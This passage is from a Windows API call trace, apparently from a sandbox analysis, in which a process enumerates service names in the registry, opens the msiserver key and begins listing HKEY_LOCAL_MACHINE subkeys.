Size=0x40) returned 0x1de4450 [0257.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0257.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.599] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.599] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.600] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.600] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0257.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.600] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.600] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0257.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0257.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.601] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.601] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.601] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0257.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0257.601] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0257.602] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0257.603] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0257.604] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0257.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0257.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0257.607] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0257.608] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0257.609] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0257.610] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0257.610] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0257.610] RegCloseKey (hKey=0x154) returned 0x0 [0257.610] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0257.610] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0257.610] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 